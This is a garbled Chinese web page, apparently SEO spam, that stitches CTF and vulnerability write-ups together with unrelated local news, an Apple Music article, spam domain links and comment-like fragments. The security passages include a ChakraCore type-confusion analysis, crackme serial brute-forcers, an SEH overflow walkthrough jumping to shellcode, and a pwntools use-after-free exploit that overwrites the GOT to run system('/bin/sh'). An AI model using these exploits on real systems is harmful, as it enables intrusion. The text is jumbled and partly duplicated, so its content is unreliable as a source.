这里的newArr的创建操作如下//IfthesourceobjectisanArrayexoticobjectweshouldtr*newObj=ArraySpeciesCreate(obj,0,scriptContext);JavascriptArray*newArr=nullptr;//Ifthenewobjectwecreatedisanarray,rememberthatasitwillsaveustimesettingpropertiesintheobjectbelowif(JavascriptArray::Is(newObj)){newArr=JavascriptArray::FromVar(newObj);}注意虽然进行了转换,但是最后newArr却是NativeIntArray类型=0x000001E353F7C5100x000001E353F7C5100000000000000003........0x000001E353F7C5180000000600000000........0x000001E353F7C5200000000000000000........0x000001E353F7C5280000000100000002........0x000001E353F7C5300000000380000002.......\n0x000001E353F7C5388000000280000002......\n观察接下来的取值和赋值操作可以发现问题for(uint32k=0;klength;k++){if(!pArr-DirectGetItemAtFull(k,element)){continue;}selected=callBackFn-GetEntryPoint()(callBackFn,CallInfo(CallFlags_Value,4),thisArg,element,JavascriptNumber::ToVar(k,scriptContext),pArr);if(JavascriptConversion::ToBoolean(selected,scriptContext)){//Trytofastpathifthereturnobjectisanarrayif(newArr){newArr-DirectSetItemAt(i,element);}...pArr的类型为JavascriptArraynewArr的类型为JavascriptNativeIntArray这里直接从pArr中取出值放入了newArr,很明显是一个类型混淆造成这个混淆的根本原因是设置了staticget[](){returndummy;}导致返回了一个JavascriptNativeIntArray,从而与JavascriptArray造成混淆。贵港以荷花著称,素有“中国荷城”美誉。图1:BadRabbit赎金消息感染过程唯一已知的感染方式是通过来自于已被攻陷网站的下载攻击(drive-bydownloadattack)。本次盛会,我们将以本地文化特色为依托,与各位嘉宾、社会团体、旅游和体育产业相关专家、学者、企业家,以及来自各地的房车露营爱好者共襄盛会,本着人与自然和谐相处的城市精神,为大众提供开放的体验空间,为行业提供权威的展示平台,倡导自然、自由、健康、绿色的旅居度假方式,共同见证这一次体育旅游文化经贸的跨界融合盛典!最后,祝第四届中国汽车(房车)露营大会圆满成功!HashValuesGNUhashsection的最后一部分包含(dynsymcount-symndx)个32位字,每个条目都是动态符号表第二部分中的每个符号。,www.vns228899.com、www.vns7791.com、我仅能推测这是当Oracle转换我们Sun的博文时发生的。,该算法由三个阶段组成:标记,复制和更新指针,如图3所示。会议大获成功,受到了梆梆安全、腾讯安全、爱加密、几维安全、百度安全、硬土壳、金山毒霸(猎豹旗下品牌)、乐变技术、腾讯TSRC、Wifi万能钥匙、天特信息、360公司、江民科技、博文视点、华章图书、infoQ、雷锋网等数十家公司和媒体的大力支持和赞助,会场爆满。关闭优化选项,dep,aslr,safeseh(vs项目属性选择配置属性-链接器-命令行填写“/SAFESEH:NO”)我们可以试试如果和上次一样覆盖掉返回地址当执行到Security_Check_Cookie的时候,他会检查栈Cookies和.data的副本,这时候GS就分发系统异常处理请求然后就由系统接管处理你这个异常我们可以先用mona插件查看程序当前seh链表这个地址指向的就是PointertonextSEHrecord下面的SEhander是ntdll中的系统接管处理。,UseAfterFree本贴讲述如何利用UAF漏洞,实现GOT表覆盖,从而实现命令执行,另外漏洞程序由本人通过逆向14年的ctf获得,同时进行了一些功能的精简,从而得到下面的漏洞程序,解决漏洞讲解没有漏洞源码源码的问题。处理逻辑encode1是base64,encode2和encode3比较简单,略过sn=encode3(sn)+encode2(sn)+encode1(sn)publicclassMainextendsac{...protectedvoidonCreate(){();...//这个不懂为什么没生效,生效的是基类那个(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassuvextendscc{...protectedvoidonCreate(BundlesavedInstanceState){(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassua{static{(enjoy);}...publicstaticnativeintcheck(uathis,Stringarg1){}}处理逻辑JNI_OnLoad中有两个校验和反调试的地方,静态分析的时候直接nop掉,安装完后再替换掉就可以正常调试了(有检测dexsignature和TracerPid什么的).text:00001F4CBLcheck_:00001F50BLcheck_threadso中的check函数.text:00001F38MOVSR3,#:00001F3CLDRR5,[R2,R3].text:00001F3ELDRR2,=(off_5E54-0x1F48).text:00001F40MOVSR0,:00001F42MOVSR3,#:00001F44ADDR2,PCoff_::00005E54off_5E54JNINativeMethodbyte_5E60,aLjavaLangStrin,check+1len(sn)=120,原始sn长度范围(x+x+x/3*4=120):11~36从结果来看原始sn长度是36,但是我后面是从11开始穷举的,浪费了大量的时间.mytext:0000313ELDRR1,[R5].mytext:00003140MOVSR3,#:00003144LDRR3,[R1,R3].mytext:00003146MOVSR2,#:00003148MOVSR1,:0000314AMOVSR0,::0000314EMOVSR6,:00003150BLj_j_strlen_:00003154STRR4,[SP,#0x50+var_4C].mytext:00003156MOVSR1,#:00003158CMPR0,#:0000315ABGTloc_:0000315CADDR4,SP,#0x50+:0000315EMOVSR2,#:00003160MOVSR0,:00003162BLj_j_memset_:00003166MOVSR1,:00003168MOVSR2,#:0000316AMOVSR0,:0000316CBLj_j_memcpy_:00003170LDRR2,[R5].mytext:00003172MOVSR3,#:00003176LDRR3,[R2,R3].mytext:00003178MOVSR1,:0000317AMOVSR2,:0000317CMOVSR0,::00003180MOVSR0,:00003182BLj_j_strlen_:00003186MOVSR1,:00003188MOVSR0,:0000318ABLcheck_snBYTEbuf[40];BYTEkey1[8];BYTEkey2[16];CopyMemory(buf,sn,36);FillMemory(buf+36,0x04,0x04);des_enc(buf,sizeof(buf),key1);(这里des_set_key在处理PC2_Table的时候与标准有偏差)CopyMemory(key2[12],buf[32],4);rc6_encrypt(buf,32,key2,sizeof(key2));(这个不常碰到,跟了一遍)memcmp(buf,expected,32)==0rc6与标准的区别:Q:0x9e3779b9L=0x61C88647L处理前和处理后都进行了byteswap32signedint__fastcallcheck_sn(constvoid*a1,size_ta2){...if(a2==36){v6=j_j_malloc(0x28u);v7=v6;if(v6){j_j_memcpy(v6,v3,v4);v7[36]=4;v7[37]=4;v7[38]=4;v7[39]=4;do{v8=g_key1[v2];v9=0;do{v17[8*v2+v9]=(v8(7-v9))1;++v9;}while(v9!=8);++v2;}while(v2!=8);des_set_key((int)v17);v10=0;do{v11=v7[v10];j_j_memcpy(dest,v7[v10],8u);v15=0;v16=0;des_1840((int)dest,(int)v15);v10+=8;j_j_memcpy(v11,v15,8u);}while(v10!=40);update_key2((int)g_key2,(int)v15);rc6_encrypt(v7,0x20u,(int)g_key2,16);v12=0;while((unsigned__int8)v7[v12]==byte_5D3D[v12]){if(++v12==32){result=1;gotoLABEL_14;}}}}result=0;...}3.穷举sn以kxuectf{开头,以}结尾这里直接按sn长度为36位来穷举了voidDes_SetKey(constcharKey[8]){staticboolK[64];staticboolKL[56];staticboolKR[56];ByteToBit(K,Key,64);Transform(K,K,PC1_Table,56);CopyMemory(KL[0],K[0],28);CopyMemory(KL[28],K[0],28);CopyMemory(KR[0],K[28],28);CopyMemory(KR[28],K[28],28);intoffset=0;for(inti=0;ii++){offset+=LOOP_Table[i];boolTmp[256];for(intn=0;nn++){if(PC2_Table[n]=28){Tmp[n]=KR[PC2_Table[n]-1-28+offset];}else{Tmp[n]=KL[PC2_Table[n]-1+offset];}}memcpy(SubKey[i],Tmp,48);}}voidtest_sn36(){constchar*charset=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}constchar*charset2=^_`mEJCTNKOGWRSFYVLZQAH[\\]upibejctnkogwrsfyvlzqahmdxKOGWRSFYVLuiconstchar*charset3=NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm76543210}{intsn_len=36;intindices[36];charsn[40]=BYTEkey1[8]={0xFD,0xB4,0x68,0x54,0x08,0xCD,0x56,0x4E};BYTEkey2[16]={0x65,0x48,0x32,0xEF,0xBA,0xCD,0x56,0x4E,0x0F,0x9B,0x1D,0x27,0x00,0x00,0x00,0x00};CopyMemory(sn,kxuectf{,8);strings1=encode3((PBYTE)sn,8);for(intk1=0;k164;k1++){for(intk2=0;k264;k2++){for(intk3=0;k364;k3++){BYTEexpected[32]={0x42,0xD3,0xC3,0xC2,0xF1,0x2A,0xE9,0x2D,0x66,0xC9,0x28,0x22,0x2C,0xEB,0x54,0x0E,0x94,0x07,0xE5,0x77,0x4A,0x92,0xB7,0x92,0x2E,0x5D,0xFD,0xF0,0xF3,0x54,0x9F,0xC6};BYTEbuf1[8];buf1[0]=charset3[k1];buf1[1]=charset3[k2];buf1[2]=charset3[k3];buf1[3]=charset3[63];FillMemory(buf1+4,4,0x04);des_encrypt(buf1,8,key1);CopyMemory(key2[12],buf1,4);rc6_decrypt(expected,sizeof(expected),key2);des_decrypt(expected,sizeof(expected),key1);if(memcmp(expected,_str(),8)==0){CopyMemory(sn,expected,32);sn[32]=charset3[k1];sn[33]=charset3[k2];sn[34]=charset3[k3];sn[35]=charset3[63];sn[sn_len]=0;conver_charset(sn,sn_len,indices,charset,charset3);printf(%s,sn);}}}}}kxuectf{D3crypted1sV3rylntere5tin91} 通过上述分析,我们只需将“JPyjup3eCyJjlkV6DmSmGHQ=”base64解码再rc4解密,即是sn使用在线rc4解密并有base64编码功能的,进行解密:sn=madebyericky94528你可能会奇怪-为什么这是个问题?但是问题是,虽然调用栈有执行的功能,但此时浏览器实际上不能做其他的任何事情-它被阻塞了。运行,OD附加前往401000,看着挺像处理代码的下断运行,输入sn后断下(运气挺好)这个应该是初始化luabytecode(看后面字符串,功能应该是xor)0040103D885C2436movbyteptrss:[esp+36],bl0040104188442437movbyteptrss:[esp+37],al00401045C644243807movbyteptrss:[esp+38],70040104A885C2439movbyteptrss:[esp+39],bl...初始化的栈信息0012FA4E0010927C0000000000001B4C4A02023B.抾......LJ;0012FA5E00020700030009360200003902010236....6..960012FA6E03000039030203120400001205010012..9...0012FA7E06010042030400430200000873756209.B.C.. string.0012FA9E00050175360100003901010112020000.u6..9..0012FAAE42010202080100005801028029010000B..X)..0012FABE4C010200360102003901030136020400L.6.96.0012FACE12030000290401004202030229037000..).B)6.96.0012FAEE12040000290502004203030229046500..).B)6.96.0012FB0E12050000290603004204030229056400..).B)6.96.0012FB2E12060000290704004205030229066900..).B)6.96.0012FB4E12070000290805004206030229077900..).B)6.96.0012FB6E12080000290906004207030229083100..)..B)6.96.0012FB8E12090000290A07004208030229093200...)..B).6.96..0012FBAE120A0000290B080042090302290A3300...) .B.).6..9..6..0012FBCE120B0000290C0900420A0302290B3400 ..)...B.) 6..9..6 .0012FBEE120C0000290D0A00420B0302290C3500...)...B ).6 .9  6..0012FC0E120D0000290E0B00420C0302290D3600...) .B.). 6..9..6..0012FC2E120E0000290F0C00420D0302290E3700..)..B.)....0012FC4E12100400121105001212060012130700....0012FC5E121408001215090012160A0012170B00..... .0012FC6E12180C004A0D0D000762790962786F72..J...bitlen string0012FC8E3D030002000600083600000027010100=...6....0012FC9E42000201330002003700030033000400B.3..7..3..0012FCAE370005004B000100096D61696E0007627..K...main.b0012FCBE7900086269740C726571756972650002y.0012FCCE0000FE55F9EAEBD15D00313233343536..㑳胙].1234560012FCDE00000000000000000000000000000000................0012FCEE00000000000000000000000000000000................0012FCFE00000000000000000000000000000000................lua初始化,43Cleaeax,dwordptrss:[esp+3C],380040220E85C0testeax,每个字符(恩,虽然是猜的,但是后面证明猜对了)lua_xor(sn[i])xor05120A2942417561358355940040222C55pushebp00,eax004022376AF5push-0B0040223956pushesi0040223A83F705xoredi,,eax004022446AF6push-0A0040224656pushesi0040224783F312xorebx,,eax004022516AF7push-90040225356pushesi0040225483F50Axorebp,,290040225F6AF8push-80040226156pushesi0040226289442458movdwordptrss:[esp+58],,420040226E6AF9push-70040227056pushesi0040227189442448movdwordptrss:[esp+48],,410040227D6AFApush-60040227F56pushesi0040228089442460movdwordptrss:[esp+60],,750040228C6AFBpush-50040228E56pushesi0040228F89442460movdwordptrss:[esp+60],,400040229B83F061xoreax,610040229E6AFCpush-4004022A056pushesi004022A189442418movdwordptrss:[esp+18],,35004022AD6AFDpush-3004022AF56pushesi004022B089442424movdwordptrss:[esp+24],,83004022BE6AFEpush-2004022C056pushesi004022C189442434movdwordptrss:[esp+34],,55004022CD6AFFpush-1004022CF56pushesi004022D089442444movdwordptrss:[esp+44],,94结果必须为:18161E2F4811213733865294004022F383FF18cmpedi,18004022F67554jnzshort0040234C004022F883FB16cmpebx,16004022FB754Fjnzshort0040234C004022FD83FD1Ecmpebp,1E00402300754Ajnzshort0040234C00402302837C24302Fcmpdwordptr[esp+30],2F004023077543jnzshort0040234C00402309837C241848cmpdwordptr[esp+18],480040230E753Cjnzshort0040234C00402310837C242811cmpdwordptr[esp+28],11004023157535jnzshort0040234C00402317837C242021cmpdwordptr[esp+20],210040231C752Ejnzshort0040234C0040231E837C241037cmpdwordptr[esp+10],37004023237527jnzshort0040234C00402325837C241433cmpdwordptr[esp+14],330040232A7520jnzshort0040234C0040232C817C241C86000cmpdwordptr[esp+1C],86004023347516jnzshort0040234C00402336837C242452cmpdwordptr[esp+24],520040233B750Fjnzshort0040234C0040233D817C242C94000cmpdwordptr[esp+2C],94004023457505jnzshort0040234C004023478D47E9leaeax,dwordptr[edi-17]0040234AEB02jmpshort0040234E0040234C33C0xoreax,eax没看lua代码,直接试了下voidtest(){BYTEkey1[12];//123456789012BYTEbuf1[12]={0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x30,0x31,0x32};//call00412CE0的结果BYTEbuf2[12]={0x41,0x57,0x57,0x5D,0x4C,0x07,0x05,0x0B,0x0D,0x05,0x07,0x05};BYTEkey2[12]={0x05,0x12,0x0A,0x29,0x42,0x41,0x75,0x61,0x35,0x83,0x55,0x94};BYTEexpected[12]={0x18,0x16,0x1E,0x2F,0x48,0x11,0x21,0x37,0x33,0x86,0x52,0x94};for(inti=0;i12;i++){key1[i]=buf1[i]^buf2[i];}BYTEsn[13]={0};for(inti=0;i12;i++){sn[i]=key1[i]^key2[i]^expected[i];}printf(%s,sn);}maposafe2017。  在2015年的苹果WWDC也就是一年一度的开发者大会上,苹果发布了全新的AppleMusic,这也是近几年来苹果的发布会中终于再次涉及音乐相关行业,至少在近几年的发布会中,我们都再也没有看到关于iPod甚至音乐相关的内容了.   在苹果收购目前几乎世界上最大的消费级耳机品牌Beats的时候,人们都以为属于苹果的高端消费类甚至是HiFi类的耳机产品就要出现了,但是在苦苦等待了两年间的无数个发布会之后,依然没有任何消息出现,甚至世界上第一个Lightning接口的耳机也并不是来自苹果公司旗下的Beats,而是被飞利浦的M2L成为了世界上的第一款,这时候的我,还真有点看不出当初苹果为什么要收购Beats了.  而在今天也就是北京时间2015年6月9日凌晨的WWDC的大会中,苹果终于回归了,回归了那个让它再次复活的iPod系列产品的灵魂:音乐.  其实音乐一直都是苹果产品中的重要组成部分,而本次发布的这个名字为AppleMusic的产品可以说是苹果从最初的iTunesStore的唱片经销商形式正式进军音乐行业的开始,但是对于这美元一个月的费用来说,还真的不便宜,其实我们现在也不清楚这个软件会不会在中国地区上市,那么假设它会上市的话,那东西其实卖给谁  其实在本次的WWDC之前,就已经偶传闻说苹果本次会发布这样一款音乐软件.那么究竟这款AppleMusic是个什么东西呢不妨简单的来说一下吧.  首先,你可以把AppleMusic理解成为四个部分,分别为一个音乐播放器、一个网络电台、一个音乐服务商和一个歌手直接发布新曲目创作并且与粉丝沟通的平台.   值得一提的是,在电台的这部份,苹果专门建立了一个自己的网路电台《Beatsone》.这个电台是真正有主持人的电台,而不是随机播放音乐,苹果认为这样才能更好地提供好音乐的推荐.最后,是可以看到你最喜欢的艺人的动态的Connect,苹果显然也看到了社群的威力,想要利用苹果的强势地位在各种社群网站之中分一杯羹.不过感觉要特地去Musicapp里才能看到,好像并不如现在的微博一类的软件实用.   AppleMusic预计六月30日随推出,此外也会在秋天推出Android和Windows的版本,可以使用的地区涵盖全球100个国家.这个软件的费用是美元/月,并且在前三个月它是免费的.   那么对于这样的四合一功能以及做法来说,其实每一个都并不算是什么新鲜的东西,但是不得不承认苹果又做了一次他非常擅长的创新:整合优化.它集合了目前音乐领域各种服务商以及粉丝与明星之间的各种解决方案.单一功能都不新鲜,但是整合到一起的,它确实是第一个.  上文中已经说了,AppleMusic其实并没有什么实质上的创新,但是整合了目前在音乐圈中非常关键的功能与一身,并且相比曾经的iTunesStore来说,新的AppleMusic无疑拥有更加强大的功能,并且其实重点在于:它把一首歌从创作到用户是不是喜欢这个漫长的过程大大的缩短了.如果说曾经的iTunesStore抢走的是唱片店的生意的话,那么现在的AppleMusic已经在抢唱片公司的生意了.   另一方面,作为用户而言,这个产品带给你的也是更加容易接触到的音乐,以及更加新鲜的音乐,你可以在第一时间知道你喜欢的歌手又创作了什么或者有什么新的冬天,你可以再这首新歌还没发布的时候就先听到.并且网络电台也有主持人不断的推荐给你新的音乐和更好听的流行的音乐歌曲.这些都是这个应用看起来很美的样子,但是实际它的野心并不止于此.   至少就从刚才说到的歌手到听众的这一步来说,AppleMusic已经相比从前的同类软件领先了非常多,他已经把发布和交流结合在了一起,可以第一时间知道听众的感受.相比传统唱片行业那种写歌、录制、出唱片、销售最后才有听众反馈的方式来说,AppleMusic带来的创作者与听众之间的沟通效率简直就是逆天的.更何况,如果今后歌手可以直接在AppleMusic上发布自己的新歌然后试听再进行销售的话,那么这种效率相比现在的唱片行业来说要强大的多.  而对于用户来说,每月美元的费用其实并不算贵,至少对于现在美国的音乐服务费用来说,这是一个完全可以被接受的好价格.而得到的是自己喜欢歌手的第一手信息、由主持人而非一个播放列表的网络电台、还有海量去哭的在线音乐库.  对于苹果来说,建立一个新的音乐生态圈才是它的终极意义,如果说iTunesStore是它的第一步,那么AppleMusic就一定是是它最具革命性的一步.  对于苹果来说,AppleMusic是其积累多年的音乐计划,也可以说是苹果想要打造的音乐帝国总不可缺少的一步棋,曾经的苹果打造过一个辉煌的音乐硬件时代.而之前它通过iTunesStore打造了一个辉煌的软件时代,而AppleMusic,则有可能是那个真正彻底改变行业的时代.该猫头鹰身长约65厘米,翼展约130厘米,没有发现伤病。。  下一步,该镇将继续增强志愿者们关爱社会、关爱弱势群体的责任感,积极呼吁社会各界力量共同参与进来,为贫困妇女排忧解难,将爱心和正能量层层传递下去。||ThinkWorld为联想ThinkPad官方网站,网站指定运营商为北京佳意堂广告有限公司。配送常见问题:1.配送费如何收取?全国范围内由商家免费配送2.订单已经提交成功,如何修改购物地址?订单一旦提交成功,将无法修改,请在提交订单前仔细检查核对;如有其它问题请咨询客服。(二)查办的情况2017年5月29日,都昌县工信委相关人员对信访件反映情况进行了现场调查核实,经查,都昌县铸造型砂厂(采矿区)存在未依法报批环评文件就投入生产及破坏国家公益林问题。。也就是说,如果是这样的话,在过去的几个月中,恶意软件本身和相关的基础设施都被投入了大量的工作。原标题:贯彻落实绿色发展理念切实保护绿水青山发挥西江黄金水道优势带动各项事业发展  11月8日,市委书记、我市江河湖库总河长李新元到郁江巡河并调研两岸各项建设。客流高峰集中在2月12日至15日、2月17日至23日和2月27日至3月3日三个时段。他说,生态环境的好坏攸关民生福祉。Satori家族重复使用Mirai代码,包括网络扫描器,telnet密码尝试和看门狗禁用(图4)。保护声明Forcepoint客户通过Forcepoint云安全(包括高级分类引擎(ACE)作为电子邮件,Web和NGFW安全产品的一部分)得到保护,免受此威胁。2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。清扫者认为调用堆栈中的引用以及从旧到新的引用是根。。  李新元要求,要多方联动,形成推进工作的强大合力。,关闭优化选项,dep,aslr,safeseh(vs项目属性选择配置属性-链接器-命令行填写“/SAFESEH:NO”)我们可以试试如果和上次一样覆盖掉返回地址当执行到Security_Check_Cookie的时候,他会检查栈Cookies和.data的副本,这时候GS就分发系统异常处理请求然后就由系统接管处理你这个异常我们可以先用mona插件查看程序当前seh链表这个地址指向的就是PointertonextSEHrecord下面的SEhander是ntdll中的系统接管处理。,  为期4天的桂平房车露营大会3日落下帷幕,来自全国各地的上千台房车和5000多辆自驾车参与了这场盛会。并行Scavenger并行Mark-Evacuate收集器分离计算活跃度,复制活动对象和更新指针的阶段。Arch:amd64-64-littleRELRO:PartialRELROStack:CanaryfoundNX:NXenabledPIE:PIEenabled1:newbox1~box52:deletefree完之后没有修改in_use标志,可以多次free,存在UAF,只有box2和box3可以free3:edit4:print5:guessseed=seed;srand((unignedint)seed);v=rand();if(input()==v)printseed;elseprintv;解题思路我这个解法好像有点麻烦,等结束后学习下标准解法是什么样的..leakprocessbase,leaklibcbase,overwritegot,getshelltest_####*seed=0;intmain(){seed=seed;srand(*(unsignedint*)seed);printf("%p",seed);printf("0x%x",rand());return0;}guess_####*seed=0;intmain(intargc,char**argv){intlow3=atoi(argv[1]);intr=atoi(argv[2]);unsignedintseed;unsignedinti;for(i=0;i=0xFFFFF;i++){seed=i12;seed+=low3;srand(seed);if(rand()==r){printf("0x%x",rand());return0;}}printf("end");return0;}###=Truefrompwnimport*importsyscontext(arch=amd64,kernel=amd64,os=linux)#_level=debugelf=ELF(./club)ifargs[LOCAL]:libc_path=/lib/x86_64-linux-gnu/io=process(./club)("processbase:"+hex(()[/root/Desktop/test/pediy_pwn/club]))("processlibc_base:"+hex(()[libc_path]))else:libc_path=./io=remote(,8888)libc=ELF(libc_path)defcmd_new(index,size):()(1)()(str(index))()(str(size))()returndefcmd_delete(index):()(2)()(str(index))returndefcmd_edit(index,buf):()(3)()(str(index))(buf)returndefcmd_print(index):()(4)()(str(index))data=()returndatadefcmd_guess_wrong(v):()(5)()(str(v))(Thenumberis)data=(!)[:-1]returndatadefcmd_guess_right(v):()(5)()(str(v))(Yougetasecret:)data=(!)[:-1]returndatadefcmd_quit(name):()(6)()(name)()returndefexploit():#leakprocessbasev=cmd_guess_wrong(0)p_guess=process([./guess_seed,str(0x148),v])guess_r=p_()#printguess_rseed=cmd_guess_right(int(guess_r,16))#printhex(int(v))process_base=int(seed)-("leakedprocessbase:"+hex(process_base))#(io)#input()#triggercoaleace#usebox4toeditbox2box3len2=0x1A0len3=0x1F0cmd_new(2,len2)cmd_edit(2,A*len2)cmd_new(3,len3)cmd_delete(2)cmd_delete(3)cmd_new(4,len2+len3)data=cmd_print(4)[:6]libc_main_arena_top=0x3C4B78libc_base=u64((8,\x00))-libc_main_arena_topprint(leakedlibc_base:%x%libc_base)#createafakefreechunkinsidebox2beforebox3box2_ptr=process_base+0x202110print(box2_ptr:%x%box2_ptr)buf=buf+=p64(0)+p64(len2+1)+p64(box2_ptr-0x18)+p64(box2_ptr-0x10)buf+=A*(len2-0x20)buf+=p64(len2)buf+=p64(len3)cmd_edit(4,buf)cmd_delete(3)#box2_ptr-0x18writtentobox2_ptrcmd_edit(3,/bin/sh\x00)#[box2]=got_freebuf=buf+=p64(0)buf+=p64(0)#box0buf+=p64(0)#box1buf+=p64(process_base+[free])cmd_edit(2,buf)#[got_free]=systembuf=buf+=p64(libc_base+[system])cmd_edit(2,buf)#system(/bin/sh)cmd_delete(3)()returnexploit()1.处理逻辑(大数运算用的gmp)sn长度为70,前6位是e,后面的是p已知n,d,pq,求e,p,qn:6248BC3AB92A33B000FDB88568F19727F92F79EB68FF6AD73203EFD20A3E331BE941C7AA288095F33BC4B255FD983114D480EFFBEE2E313E6218A57F9CCC8189d:2476A7F02588913F228923E1F36F963F29708C07B117396817A6B94C336FC77FF7D381925EB40CFED8FBE894570155E41569B4EC69B26CB0320105A29651CB4B2.求解因为e0x1000000,所以可以穷举e,得到e:F552B3有了e,因为e过小,可以直接得到p和q这里借用stackoverflow上的内容3.脚本importitertoolsfromgmpy2import*#e=0xF552B3n=0x6248BC3AB92A33B000FDB88568F19727F92F79EB68FF6AD73203EFD20A3E331BE941C7AA288095F33BC4B255FD983114D480EFFBEE2E313E6218A57F9CCC8189d=0x2476A7F02588913F228923E1F36F963F29708C07B117396817A6B94C336FC77FF7D381925EB40CFED8FBE894570155E41569B4EC69B26CB0320105A29651CB4Bdefget_e(n,d):(0xFFFFFF,-1):ifi=2:return0e=iifnotis_prime(e,500):continuem=0x12345678c=powmod(m,d,n)m2=powmod(c,e,n)ifm==m2:returnereturn0defget_p_q(e,n,d):ed=mul(e,d)k1=div(ed,n)kk=[k1-1,k1,k1+1]foriinrange(len(kk)):k=kk[i](t,rem)=t_divmod(ed-1,k)if(rem!=0):continues=n+(1)-(t)r=isqrt(mul(s,s)-mul(4,n))p=div(s+r,2)q=div(s-r,2)if(pq):p=qprint(sn:%X%X%(e,p))returne=get_e(n,d)print(e:%X%e)get_p_q(e,n,d),如果最高位(31位)池标签被设置,则该池分配被标记为受保护。  去年,港北区招商引资快马加鞭,签约落户项目49个、投资额亿元,利用内资亿元、外资亿美元,完成项目策划28个,2015-2017年累计入驻标房万平方米、累计开工项目92个、累计竣工投资亿元项目47个。此次召回只涉及适配器到插座之间的电源线部分,请用户务必保留电源适配器,以便与替换后的电源线一起使用。。

阅读(442) | 评论(899) | 转发(965) |

上一篇:www.vn784.com

下一篇:www.wns1996.com

给主人留下些什么吧!~~

毕变玲2018-5-24

佐藤雄一成功断到00408E16,将00408E16修改为0xc3。

为邀请更多企业来贵港“安新家”,当地开展“大招商、招大商”行动,仅2017年就组织各类招商活动1700多场次。1.处理逻辑(大数运算用的gmp)sn长度为70,前6位是e,后面的是p已知n,d,pq,求e,p,qn:6248BC3AB92A33B000FDB88568F19727F92F79EB68FF6AD73203EFD20A3E331BE941C7AA288095F33BC4B255FD983114D480EFFBEE2E313E6218A57F9CCC8189d:2476A7F02588913F228923E1F36F963F29708C07B117396817A6B94C336FC77FF7D381925EB40CFED8FBE894570155E41569B4EC69B26CB0320105A29651CB4B2.求解因为e0x1000000,所以可以穷举e,得到e:F552B3有了e,因为e过小,可以直接得到p和q这里借用stackoverflow上的内容3.脚本importitertoolsfromgmpy2import*#e=0xF552B3n=0x6248BC3AB92A33B000FDB88568F19727F92F79EB68FF6AD73203EFD20A3E331BE941C7AA288095F33BC4B255FD983114D480EFFBEE2E313E6218A57F9CCC8189d=0x2476A7F02588913F228923E1F36F963F29708C07B117396817A6B94C336FC77FF7D381925EB40CFED8FBE894570155E41569B4EC69B26CB0320105A29651CB4Bdefget_e(n,d):(0xFFFFFF,-1):ifi=2:return0e=iifnotis_prime(e,500):continuem=0x12345678c=powmod(m,d,n)m2=powmod(c,e,n)ifm==m2:returnereturn0defget_p_q(e,n,d):ed=mul(e,d)k1=div(ed,n)kk=[k1-1,k1,k1+1]foriinrange(len(kk)):k=kk[i](t,rem)=t_divmod(ed-1,k)if(rem!=0):continues=n+(1)-(t)r=isqrt(mul(s,s)-mul(4,n))p=div(s+r,2)q=div(s-r,2)if(pq):p=qprint(sn:%X%X%(e,p))returne=get_e(n,d)print(e:%X%e)get_p_q(e,n,d)。作品被人民大会堂、中南海等机构和个人收藏。在这种情形下,子结构用来存储该页的信息。,会议大获成功,受到了梆梆安全、腾讯安全、爱加密、几维安全、百度安全、硬土壳、金山毒霸(猎豹旗下品牌)、乐变技术、腾讯TSRC、Wifi万能钥匙、天特信息、360公司、江民科技、博文视点、华章图书、infoQ、雷锋网等数十家公司和媒体的大力支持和赞助,会场爆满。。

横山智佐2018-5-24 23:55:45

但是,在相应的四个物联网设备中,Satori不会终止进程。,但是这里还有一个细节就是当你向上跳转的时候是jmp一个负的地址那么这条jmpXXXX这条指令就会撑爆当前的这四个字节空间,覆盖掉了后面的sehandler数据,所以我们要先在下面找到一个比较近的一块空区域然后在那块区域的地址上写上我们jmpshellcode的指令.我们选择0018FF8O这个地址现在我们加长我们的文本,可以看到下图中,现在搜索我们的poppopret指令,反汇编窗口ctrl+G输入00401804在然后再pop上下断点,shitf+f9运行观察eip,当执行完ret指令后的当前指令修改为jmp0018FF80上图是覆盖PointertoNextRecord为jmp0018FF80为向下跳转,单步一步,然后这里需要一个向上跳转的jmp这里就用我们文本的第一个字节作为shellcode起始位置0018FF80jmp0018FF80的二进制是E9B3FBFF此时0018FF80地址处的指令就是jmp0018FF80单步就到了我们的buf头了可以看到我们覆盖的数据了,二进制是这样的接下来我们就在buf中扣一段shellcode在0018FF80这里写指令跳到它的首地址直接用第一个字节的地址0018FB38总结下过程:1.找到SEH处理函数,寻找跳板poppopret来覆盖掉ntdll中的seHandler2.构造跳板跳向shellcode,字节长度问题可以在seHandler下方找跳板间接找跳板跳向shellcode。根据请求分配的大小,池分配分为小池分配(尺寸少于4K)和大池分配(尺寸大于等于4k)。。

曹正言2018-5-24 23:55:45

源码已经上传至附件(pS:r3的小玩意,只给需要的人..表哥笑笑就好自绘界面和一些小细节小方法还是比较适合MFC新手参考的,代码注释已经写得含详细了这就不贴代码了)实现功能:辣鸡清理:系统临时文件,浏览器辣鸡,浏览器cookie,内存优化,vs项目辣鸡..软件管理,系统服务,软件卸载,注册表启动项,添加和删除,病毒查杀,md5查杀,白名单查杀,全路径查杀,网络流量监控,主动防御(尽情的骂我吧..后来写着写着感觉主防太难写要稳定的hookn个函数)..内含基本ado数据库编程GDI自绘实现网络监控,有个优化的小火箭,最小化时支持程序隐藏,里面有Button类,一个Button一个类这个类继承自CButton然后用此类创建对象和Button的IDC_Button关联,然后设置Button的属性,OwnDrawer为ture,这是这些按钮的,还有一些list控件颜色,静态控件字体设置,颜色设置,还有静态控件刷新防止重影的方法,剩下的就是api用法和C++语法了....[IMG][/IMG][IMG][/IMG],上面的情景中,Word是32位无符号数,BloomWord是32或64位数,取决于ELFCLASS,Sym相应就是Elf32_Sym和Elf64_Sym。。HTTP头注入需要说明的是目前HTTP的头注入一般都是见于这种小型的cms中,像大型的cms一般不会出现这样的问题。。

吕志凯2018-5-24 23:55:45

